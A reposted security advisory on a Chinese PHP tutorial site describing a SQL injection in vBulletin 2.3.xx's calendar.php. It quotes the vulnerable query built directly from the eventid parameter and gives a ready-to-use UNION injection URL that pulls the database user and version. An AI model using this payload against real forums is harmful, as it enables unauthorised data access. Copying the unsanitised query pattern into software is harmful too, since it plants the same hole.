繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection
- PHP
- PhpMyAdmin中无法导入sql文件的解决办法
- PHP5.3.1 不再支持ISAPI
- 基于Windows下Apache PHP5.3.1安装教程
- PHP 编程安全性小结
- php正则判断中文字符
- 获取远程文件大小的php函数
- PHP has encountered an Access Violation 错误的解决方法
- PHP教程:COOKIE与SESSION联合实现跨域
- PHP代码实例:图片转成HTML
- PHP教程:PHP不能读取MS SQL数据表
- Web开发帮助:学习http headers的方方面
- cURL库的强大功能和灵活的扩展性
- PHP教程:PHP的目录操作和文件操作
- Fedora 12服务器上安装Apache2+PHP+MySQL
- PHP开发网站常用的21种功能的代码汇总
- php的curl获取有301/302跳转文件出错问题解决
- 难道研究PHP的人都是傻瓜吗？
- WEB开发非常有用的9个PHP类库
- PHP代码实例:常用的PHP分页类
- PHP教程:foreach使用引用注意的问题
PHP 中的 vBulletin Forum 2.3.xx SQL Injection
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 77 ::
收藏到网摘: n/a
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
评论 (0) All
